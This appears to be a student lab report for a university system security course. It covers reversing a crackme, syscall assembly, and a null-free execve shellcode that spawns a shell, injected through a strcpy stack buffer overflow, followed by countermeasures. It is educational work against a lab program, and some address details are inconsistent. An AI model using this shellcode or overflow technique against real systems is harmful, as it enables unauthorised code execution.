

**RUHR
UNIVERSITÄT
BOCHUM**

RUB

Ruhr Universität Bochum
Fakultät für Informatik
Systemsicherheit (211011-SS 2026)

SYSTEM SECURITY

ASSIGNMENT 3

Matias Soto

Matej Heřman

Daniel Szabo

3 STUDENT GROUP 10

BOCHUM, 2026

1 Crackme

After getting the public and private SSH keys and connecting to RUB-VPN we were able to get started with the tasks.

1.1 Analyze an Unknown Program

Using GDB we can analyze the assembly code that runs with the crackme program. From the hints we know that the secret key is checked in the `verify_key` function with the `strcmp` C function. So, if we are able to get to the data that is compared in that call then we can get the key.

With the “`info address verify_key`” command we can get the address of the validating function and disassemble it. In the function we found the call that executes `strcmp`. If we put a breakpoint before the function is called, we can see what values are pushed to the stack.

When we now run the program with a sample input `AAAAA` it breaks before entering the call. Here we see the exact address of the secret key. With the “`x/s 0xaddr`” command we see that the value is “`MMNNQ`”. However, if give the program this input it still says that the key is not valid.

The reasoning for that can be seen in the `verify_key` function. Before calling the `strcmp` function the input goes through a loop. Each character in the input is subtracted by their index in the string times two. When we add these to “`MMNNQ`” and look at the ASCII values we get the key “`MORTY`”. This key is validated by the program.

1.2 Reconstructing C Code

In order to reconstruct the code, we have to dissemble the main function as well. We can see that there is no other function call in it. The rest of the code simply reads the input, calls the `verify_key` function and writes the message based on the result of it.

```

#include <stdio.h>
#include <string.h>

/**

After GDB analysis the secret password before encoding was found: MMNNQ.
Then with further analysis of the function verify_key, was discovered that the
key itself is modified.
Via reverse engineering of the verify_key function and decryption of the found
key I found the correct key: MORTY.

Here is the reverse engineered program crackme.

**/

int verify_key(char * str)
{
    for(int i = 0; i <= 4; i++)
    {
        int code = i + i;
        str[i] -= code;
    }

    char wanted[] = "MMNNQ";

    if(strcmp(str, wanted) == 0) return 1;
    else return 0;
}

int main(void)
{
    char str[6];

    puts("Enter serial (5 capital letters):");

    scanf("%5s", str);

    int value = verify_key(str);

    if(value == 1) puts("Key is valid! Whoop whoop :)");
    else if(value == 0) puts("Key is not valid :(");

    return 0;
}

```

2 System Calls and Shellcode

These tasks introduce the use of system calls and how this high-level concept can be exploited with binaries.

2.1 Hello Kernel

The assembly code can be written based on the Linux syscalls list and each calls manual. To write a message to a file we first need to open or create that file. Then we need to write the message into it. Save it by closing it and then exit the program. These steps can be written in with a syscall each.

```

; define some macros
#define O_RDONLY      00000000o
#define O_WRONLY      00000001o
#define O_RDWR        00000002o
#define O_CREAT        00000100o
#define O_TRUNC        00001000o
#define S_IRUSR        00000400o
#define S_IWUSR        00000200o

section .data
path: db "/home/user/message", 0
greeting: db "himum!", 0

section .text
global _start

_start:
;-----

; Open the file
mov eax, 5 ; sys_open: 0x05
mov ebx, path ; filename: pointer to the filepath string
mov ecx, O_WRONLY | O_CREAT ; flags: combine write-only and create
macros
mov edx, S_IRUSR | S_IWUSR ; mode: read and write permission for user
int 0x80 ; call kernel

; The file descriptor is returned into EAX.
; Move it to EBX for writing.
mov ebx, eax

; Write the message to the file
mov eax, 4 ; sys_write: 0x04
; fd: already in ebx
mov ecx, greeting ; buf: pointer to the message string
mov edx, 6 ; count: length of the string
int 0x80 ; call kernel

; Close the file
mov eax, 6 ; sys_close: 0x06
; fd: still in ebx
int 0x80 ; call kernel

; Exit the program
mov eax, 1 ; sys_exit: 0x01
xor ebx, ebx ; error_code: 0
int 0x80 ; call kernel

; ----- End of file -----

```

2.2 Shellcode

The main difference between the previous task and this one is that the shell code cannot have null bytes in it as that would result in the termination of the process. The trick is to push the null bytes onto the stack and form the strings and the pointers directly onto the stack instead of in the operation.

[illegible]

6

Disassembly of section .text:

08049000 <_start>:

8049000:	31 c0	xor	eax, eax
8049002:	50	push	eax
8049003:	68 64 61 73 68	push	0x68736164
8049008:	68 62 69 6e 2f	push	0x2f6e6962
804900d:	68 2f 2f 2f 2f	push	0x2f2f2f2f
8049012:	89 e3	mov	ebx, esp
8049014:	50	push	eax
8049015:	53	push	ebx
8049016:	89 e1	mov	ecx, esp
8049018:	31 d2	xor	edx, edx
804901a:	b0 0b	mov	al, 0xb
804901c:	cd 80	int	0x80

3 Smashing the Stack for Fun and Profit

The point of this task is to break and analyze vulnerable C code with buffer overflow attacks. The program in this task uses the `strcpy` function which opens it up to stack overflow attacks.

3.1 Control Flow Manipulation

The goal of this exercise is to execute the accepted function from the return address of the authenticate function. This is possible since we know the address from which the accepted function runs and we can also change the return address of the authenticate function because of the unsafe `strcpy` function.

As seen in the template, the stack is filled from the higher addresses down to the lower ones. First the parameters are pushed then the return address and the stack pointer, and lastly the local variables. In the case of the “normal” run the input is “ABCDEF” which can be written in 7 bytes with the terminating null. So, in this case there is no overflow, most of the stack is unknown to us. Except the password parameter whose pointer we got from the debug note.

Now if we give an input which is greater than 24 bytes, then the string can overwrite the stack pointer and the return address as well. This is a stack-based buffer overflow. And we also know the address of the accepted function, so by writing that after the padding bytes we can crack the code.

We also need to pay attention to the byte order, since the x86 processor uses little-endian byte ordering. This means that the bytes need to be given in reverse order.

	Description of memory area	Size in Bytes	Stackframe after strcpy on benign input ABCDEF				Stackframe after strcpy during control-flow hijack			
memory addresses 0xFFFFFFFF ↓ 0x00000000	previous memory	-	previous memory				previous memory			
	Parameter - password	4	BE	BA	FE	CA	BE	BA	FE	CA
	Return Address	4	?	?	?	?	BA	B0	BA	B0
	Stack frame pointer	4	?	?	?	?	A	A	A	A
	Variable - padded_password[20-23]	4	?	?	?	?	A	A	A	A
	padded_password[16-19]	4	?	?	?	?	A	A	A	A
	padded_password[12-15]	4	?	?	?	?	A	A	A	A
	padded_password[8-11]	4	?	?	?	?	A	A	A	A
	padded_password[4-7]	4	E	F	0x00	?	A	A	A	A
	padded_password[0-3]	4	A	B	C	D	A	A	A	A
	free memory	-	free memory				free memory			

0x00000000 memory addresses 0x00000003

3.2 Injecting Code

Like in the previous exercise we can change the return address and redirect the flow of the program even to our input. Instead of filling our input with only padding 0xA-s we can write our 21-byte shell code, pad it with 3 A-s for the buffer and 4 more A-s for the stack pointer and at the end insert the address of the buffer in reverse order: 0xEF 0xBE 0xDE 0xC0. This way the authorize function returns to the start of the buffer and runs the shell code.

The issue with address 0xC0DE007A is that it contains the 0x00 null byte which acts as a terminating null for the supposed copied string. This means that at the end, where we insert the new return address it only copies 0x7A into it since 0x00 ends the string and 0xDE and 0xC0 is left off resulting in a crash.

3.3 Countermeasures

The easiest solution to buffer overflow attacks is to replace the unsafe functions like strcpy with alternatives that also ask for the size of the string, in this case strncpy.

This prevents malicious inputs since now the function only allows a certain number of bytes to be written to the stack. Previously the string would be copied until the terminating null byte, and thus other components could have been rewritten.

```
char padded_password [24];  
strncpy(padded_password , password, sizeof(padded_password)-1);  
padded_password[sizeof(padded_password)-1] = '\0';
```

This change in the code now also guarantees a terminating null at the end of the string.

Another way to approach the problem is to add other security measures like stack canaries when the program is compiled. The canary is generated randomly onto the stack at the start of each run and if it is overwritten by a buffer overflow then the program crashes. Unless the attacker knows the value of the canary so that they can leave it intact during their overflow attack.

4 Use of Generative Artificial Intelligence

As a team we didn't use any Generative A.I. tool in any of the thinking, writing or execution of the parts of this assignment nor documentation.